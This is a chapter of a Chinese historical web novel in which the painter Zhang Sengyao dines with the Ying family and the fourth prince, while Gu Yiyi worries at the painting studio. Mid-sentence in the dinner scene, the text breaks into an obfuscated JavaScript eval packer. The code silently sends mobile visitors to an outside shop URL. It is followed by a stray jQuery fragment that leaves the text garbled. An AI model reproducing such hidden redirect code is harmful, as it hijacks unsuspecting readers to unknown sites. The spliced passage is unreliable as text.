一见到姐姐应抒蓉和姐夫萧绩从车驾上下来,应娉婷就一边对身后的家丁道:“快去告知爹爹和娘亲,还有小妹。”一边迎了上去,施礼道:“娉婷见过四殿下,见过四王妃,请四殿下和四王妃安好。”
应抒蓉笑道:“妹妹你什么时候变得这么规矩了?这些礼数——”
“都是爹爹再三叮嘱的。”应娉婷拉过姐姐的手,在姐姐耳旁无奈道,“我不好不听。”
带着钦佩和倾慕参半的目光,看向萧绩,应娉婷道:
“四哥哥,你在南充州刺史任上,政绩突出,百姓们人人称道,圣上下诏把你征还皇都,有曹嘉乐等当地百姓合计三百余人,一并上表,请求圣上让你留任,《奏表》当中,详细列举了你的十五条杰出政绩,我都记得呢。”
“我既想四哥哥你和姐姐一起回皇都来住,又想你继续留任当地来造福百姓,甚至我还想去玄圃见太子殿下,让他给你写一封信。但最后,圣上还是答应了百姓们的请求,让你留任了。”
就在此刻,张僧繇忽然开了口:
“远离皇都也无不好,我在玄圃听六殿下说了,萧墙之内,棠棣之间,本就不太平。”
“你是?”萧绩问。
“我叫张僧繇,目前是画馆‘抱一堂’的画师,认顾恺之为画祖,痴画练画、研画析画至今。我,我……”张僧繇一犹豫,后决定坦坦荡荡,“还是事件的疑犯,清白未能全证,一切仰仗太子殿下为我洗清冤屈。”
“原来是你啊!”萧绩上前,“我这一路前来,听到的全是跟张僧繇相关的事。原来张僧繇就是你啊。”
“没错,是我。”张僧繇挺直了腰板,“不管天下人怎么议论,点睛前夕,龙眼变成锁眼机关一事,我什么都不知道,什么都没做过。”
“本王自是信你。”萧绩明睿道。
“其实在这件事之前,就有人给父皇打小报告,说你之所以不给龙点睛,是因为你目中无君。龙即是君,龙不在则君不在,你所言的‘点睛后,龙即飞’就是诅咒了梁帝早日龙驭归天。张僧繇,流言蜚语传出以后,你可有眉目?”
张僧繇摇了摇头:
“我哪能有眉目?我要是知道谁要害我、谁要利用我、谁要借我的‘点睛之笔’来达成企图,早就未雨绸缪了我。”
“所以我没往深处去想,只当梁帝饶了我,谣言之事就算是结了。哪知道,后续还会节外生枝,竟让自己莫名其妙地成了:叛国之贼。”
萧绩道:“既然你的案子皇太子已经亲查,那你就不必担心了,好好安分守己就是。我问你,你为何会来应家?”
“我来答谢应家的公子,可是她俩,”张僧繇看向应娉婷和侍女翠心,“非说应家老爷和夫人的子嗣,全是女儿。”
萧绩笑道:“娉婷,你说你要演遍《世说新语》里面的名流,那晚你与张僧繇初见,可是没有卸妆、没有换装?所以当下,他才不曾把你辨认出来?”
“我扮演的是蔡洪。”应娉婷轻快地应道,“蔡洪离乡赶赴洛邑之际,就跟张僧繇如今的年纪相仿。”
张僧繇挠了挠头,一副难以置信的神情,似乎还是觉得哪里不对。
应抒蓉道:“我妹妹娉婷可不是大门不出二门不迈的闺阁女子,她呀,经常到外面去跟人打交道和挑战出演戏剧里的名流角色的。”
“是啊。”翠心忍不住道,“我们二小姐,可比现在世道上的庸碌男儿们要有志气和有担当的多。张僧繇,现在你知道了吧,你想要见的公子就是我家二小姐。”
应国仲和夫人走了出来。
应大人才要给四殿下问安和请四殿下夫妻二人入内,忽然发现张僧繇还在,就问:“你怎么还在这儿?”
张僧繇把事情的来龙去脉都说了出来,应大人气道:“娉婷,本官当你不认识这个张僧繇,没想到你——唉——!!”
“老爷。”姜氏劝道,“娉婷也只是心善,要是没有娉婷,张僧繇他就真成了一个亡命之徒了。哪里还能以自由之身,来静候太子调查真相?”
“罢了。”应大人对张僧繇道,“你立刻走,不要对外声称你接触过本官的女儿,更不要说你来过本官家门口。”
“岳父。”萧绩道,“既然张僧繇来了,是抱着感恩之心和答谢之意来的,你就这么把他赶走了,也不妥。照本王看,莫不如是让他进到府里去,大家和和气气地围桌吃顿饭,您再提点提点他不迟。”
应国仲考虑之际,姜氏道:“张僧繇,你还不赶紧谢了四殿下?”
等到张僧繇对萧绩说了谢,姜氏复对应国仲道:“老爷,方才妾身已经交代厨房去准备饭菜了,多拿一只碗和多添一双筷子也无妨,您说呢?”
“既然你们都有意让张僧繇留下吃饭,本官一人反对也说不过去。”应国仲点了头。
不知是脑瓜子懵了,还是因为萧绩刚刚的那声“岳父”,张僧繇竟浑身一颤。
然后,他闻宠若惊、忘乎深浅地对应大人行礼道:“多谢岳父大人。”
应国仲本想怒斥一声:“谁是你岳父?”
却仍旧保持着分寸,只咳了两声,当作提醒算完。
此时,应家上下预测不到,四殿下和四王妃也预测不到——
来日画师张僧繇还真成了应家的女婿,娶了应娉婷为妻,传下两脉香火:张善果、张儒童。
*
画馆抱一堂。
后院厅室之内,顾依依左等右等,都不见张僧繇的身影。
“女儿,你坐立不安,弄的为父也没心情吃饭了。”顾辉之道,“还不快好生坐着,先把枸杞小米粥喝了?”
“可是——”顾依依的眼神还是望向门外,“张僧繇他还没有回来。他出门去找人的时候,明明说今晚会跟我跟父亲您一起吃饭的。”
“太子殿下居住的玄圃规矩多,东宫规矩更多,张僧繇回来的晚也是有的。”顾辉之又把粥碗朝女儿面前挪了挪,“咱们先吃,张僧繇的那一份,等他到家了,你再热给他吃和听他讲在太子住处的见识不迟。”
“父亲,张僧繇他不是去见太子殿下的。”顾依依道,“他是去茶楼,说要向茶楼老板问清楚:那一晚,救了他和给了他一把油纸伞的‘恩公’的身份。”
“茶楼不分昼夜,人来人往的,可比咱们画馆要复杂多了。”顾辉之提醒,“你跟张僧繇说,把心收回来,专注画技提升就好,少去那三教九流的场所。”
“我哪管得住他啊?”顾依依的勺子,在枸杞小米粥碗里转了一圈,“他现在卷入要案当中,却不肯在画馆好好呆着,非要抛头颅脸的,我有什么办法?”
“嘴硬。为父能不晓得你的心思吗?”顾辉之问,“只要张僧繇不在你身边一会儿,你就心慌意乱的,饭也吃不下,觉也睡不好。”
“父亲,您就不担心张僧繇吗?”顾依依喝了口枸杞小米粥,“他是您手下最出色的画师,您说过,到时候要把画馆‘抱一堂’交给他继承的。”
“张僧繇虽然容易冲动,但最起码知恩图报,有情有义。”顾辉之看着本该是张僧繇坐着的位置,“等到风波过去了,他自然会在画馆里安安分分磨练技艺,不会叫你为他担心了。”
顾依依才放下悬在心里的石头,想要好好吃饭,就有顾家的管家带着一个女子进来。
“姑娘你是?”顾辉之问,“来我们这里有什么事?”
“我是应府的丫鬟,奉老爷的命令来这里一趟。”翠心道,“顾先生,你的徒弟张僧繇现在就在应府的饭桌上、跟四殿下四王妃和应家的主子们一起用膳呢,要晚些才能回来。”
“啊?”顾依依一慌,“张僧繇怎么到应府去了?他没给应府添麻烦吧?”
翠心道:“我家二小姐心善,从茶馆回府的路上给张僧繇搭了把手,瞧着雨大,还把油纸伞也给了张僧繇,所以张僧繇就上应府来还礼了。恰逢四殿下陪着四王妃回家省亲,四殿下人好,就让老爷同意张僧繇留在应府吃饭了。”
“二小姐?”顾依依重复了一遍,“可,张僧繇明明说,给他油纸伞的是一位公子呀。”
翠心正要解释,顾依依就好似要给自己挽回颜面一般,摇了摇头,只道:“姑娘,多谢你前来告知,有劳你跑了这一趟。”
翠心道:“身为侍女,为主子办事都是应该的。两位要是没有别的事情,我就回去了。”
顾辉之道:“管家,你送姑娘出去。”
厅室里,只剩下顾辉之和顾依依父女两。
顾依依越发不安起来:“父亲,您说张僧繇为什么要骗我啊?”
顾辉之也是心情复杂,道:“也许是张僧繇有自己的想法了,他不甘心一辈子留在画馆了,想着——”
顾依依就怕听见“攀高枝”三个字,道:
“张僧繇以前不是这样子的,他有心去攀附应家二小姐,人家应大人还不一定要他当个上门女婿呢。今天只是他运气好,碰见了美名载誉天下的四殿下,才得了机会踏入应家的门。”
“女儿,你呀,也别太多心。”顾辉之放下碗筷,“事发突然,要等张僧繇回来,才能把一切问清楚。”
“要是张僧繇不回来呢?”顾依依急了,站起来,“不行,父亲,我要去应府找他,叫他打消了不切实际的念头。”
“你去应府有什么用?”顾辉之劝了女儿坐下,“高门广厦,本就不是我们这些普通老百姓能随便进入的。张僧繇要是不出来,难不成你还想在应府外头露宿一夜啊?”
“我就跟应府的家丁们说,张僧繇是我父亲顾辉之的养子,我是顾辉之的女儿,我跟他大小一块长大的情分,所以请差大人们进去通传一声,就说我和父亲都等着张僧繇回画馆。”
见顾辉之还是不许自己出门,顾依依几乎要淌出眼泪来:
“父亲,我也不想张僧繇有二心。但是现在不同了,您就不怕在将来,比起继承画馆和成为一名跟顾恺之比肩的画师,张僧繇宁愿去当一个享尽荣华富贵的上门女婿啊?”
“别想那些有的没的。”顾辉之离座,牵了顾依依回桌坐下。
“女儿啊,你心思细腻,难免多想,一想就深,一深就不可收拾了,为父都知道。今晚为父就在这个厅子里陪着你,直到张僧繇回来为止。张僧繇真要是对不起你,为父自会给你做主。”
“吃饭吧。”顾辉之道。
“是。”顾依依用丝帕拭了拭眼角,又往门口失神地看了好一会儿,才低头喝枸杞小米粥。
*
却说在应府,张僧繇入内以后,震撼的只剩下一个直感:
如果说,自己生活了十多年的画馆整体是雅致;那么这座宅邸,就是堂皇,甚至比太子殿下居住的玄圃都要气派上好几倍。
入了饭厅,刚在指定的位置上坐下,张僧繇就跟被闪电劈了一样,弹跳而起。
管家站在一边,正要击掌叫下人们上菜,叫来客如此,就问:“张画师,你这是怎么了?”
张僧繇指着凳子上的垫子道:“我一直坐的都是溜光的凳面,在‘安宁寺’画龙的时候,我还直接坐地面呢。放置了这么华丽的坐垫的凳子,我还是第一次见。”
张僧繇又摸了摸那坐垫,惊诧道:
“这些丝线,我在民间见都没有见过,难不成是皇家专用的?还是那刺绣的图样,也真是别致,上面的桃花就跟是真的一样。”
“以前我读庾信的《春赋》,上面有一句:月入歌扇花承鼓,行酒文君琴绿珠。凝翼高盖,献纳云台表,功名良可收。我觉得妙不可言,却不敢想象情景。今日今夜有幸来此,方知己之渺小,前途之宏远啊!”
应国仲道:“不错,这些的确是宫中的丝线,我们应家是皇亲国戚,自然是有支领宫中物品的特权。我萧绩贤婿最爱桃花【注1】,所以本官家中,栽种桃花和处处装点桃花也是有的。”
“张僧繇。”应国仲再一次认真看他,“听说你认了顾恺之为画祖,打算效法他来成就功名?你可要想清楚了,功名不会从天而降,得有人为你引荐才行。但是你,除了会画画就没有别的本事了,朝中也不缺知画事,你想要捞个一官半职,可难比登天。”
张僧繇天然道:“我想先当个太守,积累了政绩,再专注所长,奏请圣上,入宫奉画职。”
“你坐下。”应国仲指向位置,“你真以为‘太守’是你凭借本事就能当的?真以为宫中的文职是你口碑好就能叫圣上给的?本官把话跟你挑明了说,你背后要是没有人,你一步也踏不出去!”
瞧着张僧繇那副“不开窍”的样子,应国仲再道:“你最好记住本官适才说的每一句话。”
应娉婷道:“张僧繇,我爹爹可是官场上面的‘老人’了,你听他的不会错的。你呢,或许可以从太子殿下身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814861|211011||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
边开始,谋求一份差事来做。太子殿下是爱才惜才之人,只要你有过人之处,他就不会埋汰了你。是吧,四哥哥?”
萧绩道:“娉婷说的没错。我长兄以‘文学才识’为纳才标准,让东宫成为梁国最盛的人才荟萃之地。长兄他对待人才,秉承:引纳无倦、宽和容众、唯才是赏、推心置腹的原则,知遇悦纳。”
“日后你要是有机会入宫,定要去东宫的‘乐贤堂’看看。”应娉婷鼓励张僧繇道,“要是你的画像也能被悬挂在内,就真的是光宗耀祖了。你崇拜的画祖顾恺之,他在天上也会为你高兴的。”
张僧繇的心中,汹涌澎湃。
一个人心中的志气一旦被点燃,就仿佛注入了十足的动力一般,催他奋进,叫他向上。
接下来,张僧繇就像是被点亮了似的,整个人都乐观积极起来了。
他一边吃着应府里的美味佳肴,一边增长着自己从未有过的见识,把那些宫廷秘闻也好、官场斗争例子也罢,统统听了个遍。
应国仲原本以为张僧繇听了那些,会被吓的打退堂鼓,却不料:那画师竟然是初生牛犊不怕虎的模样,想着有朝一日去“天子眼皮底下”试试水了。
应娉婷道:“爹爹,您就不觉得张僧繇是个可造之材吗?有胆识的男子,才配进我们应家的门;有魄力的男子,才能经得起风浪沉浮。您说是吗?”
应国仲只是一本正经地清了清嗓子,没有正面回应什么。
倒是张僧繇,就这么看着应家二小姐,有些朦胧,有些不清,还带着些陶醉的笑意,痴痴。
他,说不上来是什么感觉,单纯是觉得她跟别的女子不一样。
对他而言——
她,是第一个认为他能够成就一番事业的人,所以他铭记她的那一份看好。
她,也是第一个不计较门第出身,千金之躯也对一位平民百姓抱有期待的人,所以他珍惜她的慧眼,想要成为那被她“识珠”之人。
*
饭局结束,一家之主应国仲道:“四殿下和四王妃长途而来,想必也是累了,该回房安置了。本官明日还要上朝,亦是不宜晚睡。所以,张僧繇,你且回去吧。”
张僧繇起身行礼:“谢四殿下,谢应大人。僧繇告退。”
“爹爹,娘亲,我去送张僧繇。”说着,应娉婷就要追上前去。
“你给本官站住。”应国仲不许,“翠屏,跟着二小姐回房去。”
应娉婷本还想顶嘴了爹爹,却不想在四哥哥面前无礼,只好道:“女儿知道了,女儿这就回房去。四哥哥,我先回去了——”
“好。”萧绩道,“我让你姐姐也先与你一同回房,你们姐妹一同说说话,可好?”
“四哥哥最好最懂我了。”应娉婷拉过姐姐抒蓉的手,“姐姐。”
然后,她们姐妹俩就一起离开了厅子。
看着张僧繇已经消失了的背影,萧绩对岳父道:“他倒是个明白人,谢的不是本王与应家的款待,而是心中豁然之感的来由。可见今晚,他是学到了东西的。”
“张僧繇要是真有长进就好。”应国仲道,“也不枉四殿下您为他打开了一扇门。贤婿明日,可是要往玄圃去拜访太子殿下?”
“我与抒蓉先入宫去,给父皇和母妃请安,再去玄圃拜访长兄。”
“好,好。”应国仲吩咐管家,“一定要为四殿下和四王妃备好车驾。还有,叫厨房早些准备着,早膳的时候,桃花虾仁粥、桃花拌藕片、桃花酥这三样,都是不可少的,要用心去制作。”
管家应道:“小的记下了,这就过去交代厨房。”
萧绩道:“多谢岳父大人惦记着本王爱吃什么。”
应国仲道:“应当的,应当的,四殿下请——”
萧绩道:“岳父大人请——”
*
张僧繇回到画馆以后。
穿过学堂,进入后院,一眼就看见厅堂里面的灯还亮着,便是知道顾辉之定是还没有睡下。
进入以后,看见顾依依也在,张僧繇就问:“夜深了,养父,依依,你们怎么还不安置?”
“你也知道夜深了?”顾辉之反问,“应家派了丫鬟过来,把你今晚在他们府上吃香喝辣的事情都跟我们说了。”
顾依依忍不住上前,用自己的丝帕拍了拍张僧繇身上的夜露,关切道:“看你,回来的这样晚,半身都湿了。”
“多谢。”张僧繇感激了顾依依的好。
顾辉之问:“僧繇,你现在本事大,太子殿下的玄圃和本地有钱人家的应府都去过了,我等见识不了的世面你也见识过了。说说吧,那些人上人的生活场所,都是怎么样的?”
张僧繇到就近的一张凳子上坐下,道:
“我在玄圃,只是看见了山水和听见了清音,除此之外,没有别的。”
“但是应家就不一样了,是货真价实的皇亲国戚。四殿下萧绩人很好,四王妃端庄贤淑,除了应国仲应大人端着官僚的作派以外,都没对我介怀。”
“我迈入了应家的门槛以后,看见了一座大型花园,奇花异草和新颖布局都是叫我眼前一亮的。然后,到了那张明贵木材做的圆桌面前,我被一块上等料子做成的坐垫吓了一跳,坐也不是站也不是,直接叫管家看了我的笑话,现在回想起来,可真是丢脸,好在是二小姐没有嫌弃我。”
顾依依自以为理解张僧繇的感受,道:
“难怪你别扭,你是普通人嘛,跟那些命好的、生来就享受泼天富贵之辈们本来就不一样。所以你就别想着进入他们的世界了,呆在画馆‘抱一堂’里面习画研画,成为名声响亮的画师就好,像顾恺之一样。”
张僧繇的话语里,带着一股拼搏劲:“可顾恺之,他不仅仅是一位画师,更是足智多谋的参军和皇帝身边的规谏侍从。”
“那照你意思,就是你也想去朝中当官了?”
顾依依直视着张僧繇,终于把想说的话,都说了出来:“是我们画馆地儿小,留不住你了;应家门面大,又是皇亲国戚,又有如花似玉、摄你心魄的小姐……所以你才接二连三地骗了我。”
张僧繇一愣,回过神来,问她:“依依,我什么时候骗你了?”
·
【注1】萧统喜爱清水芙蓉(荷花);萧绩喜欢桃花,天妒英才,四殿下早逝以后,常执桃花入梦王妃和应家。